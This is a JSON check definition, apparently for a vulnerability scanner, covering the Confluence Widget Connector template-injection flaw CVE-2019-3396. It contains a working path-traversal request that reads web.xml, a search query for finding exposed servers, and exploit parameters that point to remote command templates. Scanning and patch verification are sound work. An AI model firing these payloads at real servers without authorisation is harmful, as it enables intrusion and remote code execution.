{
  "Name": "Confluence RCE (CVE-2019-3396)",
  "Description": "The Widget Connector macro in Atlassian Confluence Server before version 6.6.12 (the fixed version for 6.6.x), from version 6.7.0 before 6.12.3 (the fixed version for 6.12.x), from version 6.13.0 before 6.13.3 (the fixed version for 6.13.x), and from version 6.14.0 before 6.14.2 (the fixed version for 6.14.x), allows remote attackers to achieve path traversal and remote code execution on a Confluence Server or Data Center instance via server-side template injection.",
  "Product": "Confluence",
  "Homepage": "https://www.atlassian.com/software/confluence",
  "DisclosureDate": "2019-03-25",
  "Author": "gobysec@gmail.com",
  "FofaQuery": "app=\"Confluence\"",
  "Level": "3",
  "Impact": "This issue may lead to Remote Code execution.",
  "Recommendation": "Atlassian recommends upgrading to the latest version of Confluence, which is 6.15.1 at the time of publication.",
  "References": [
    "http://packetstormsecurity.com/files/152568/Atlassian-Confluence-Widget-Connector-Macro-Velocity-Template-Injection.html",
    "http://www.rapid7.com/db/modules/exploit/multi/http/confluence_widget_connector",
    "https://jira.atlassian.com/browse/CONFSERVER-57974",
    "https://www.exploit-db.com/exploits/46731/",
    "https://nvd.nist.gov/vuln/detail/CVE-2019-3396",
    "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-3396"
  ],
  "HasExp": true,
  "ExpParams": [
    {
      "Name": "cmd",
      "Type": "input",
      "Value": "whoami"
    },
    {
      "Name": "templateURL",
      "Type": "input",
      "Value2": "https://gobies.org/cmd.vm",
      "Value": "https://raw.githubusercontent.com/r33nd/confluence/master/cmd.vm"
    }
  ],
  "ExpTips": {
    "Type": "",
    "Content": ""
  },
  "ScanSteps": [
            "AND",
            {
                  "Request": {
                        "method": "POST",
                        "uri": "/rest/tinymce/1/macro/preview",
                        "follow_redirect": false,
                        "header": {
                              "Content-Type": "application/json; charset=utf-8",
                              "Referer": "{{{fixedhostinfo}}}",
                              "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0"
                        },
                        "data_type": "text",
                        "data": "{\"contentId\":\"786457\",\"macro\":{\"name\":\"widget\",\"body\":\"\",\"params\":{\"url\":\"https://www.viddler.com/v/23464dc5\",\"width\":\"1000\",\"height\":\"1000\",\"_template\":\"../web.xml\"}}}"
                  },
                  "ResponseTest": {
                        "type": "group",
                        "operation": "AND",
                        "checks": [
                              {
                                    "type": "item",
                                    "variable": "$body",
                                    "operation": "contains",
                                    "value": "</web-app>",
                                    "bz": ""
                              }
                        ]
                  },
                  "SetVariable": []
            }
      ],
  "ExploitSteps": null,
  "Tags": null,
  "CVEIDs": [
    "CVE-2019-3396"
  ],
  "CVSSScore": "9.8",
  "AttackSurfaces": {
    "Application": ["Confluence"],
    "Support": null,
    "Service": null,
    "System": null,
    "Hardware": null
  }
}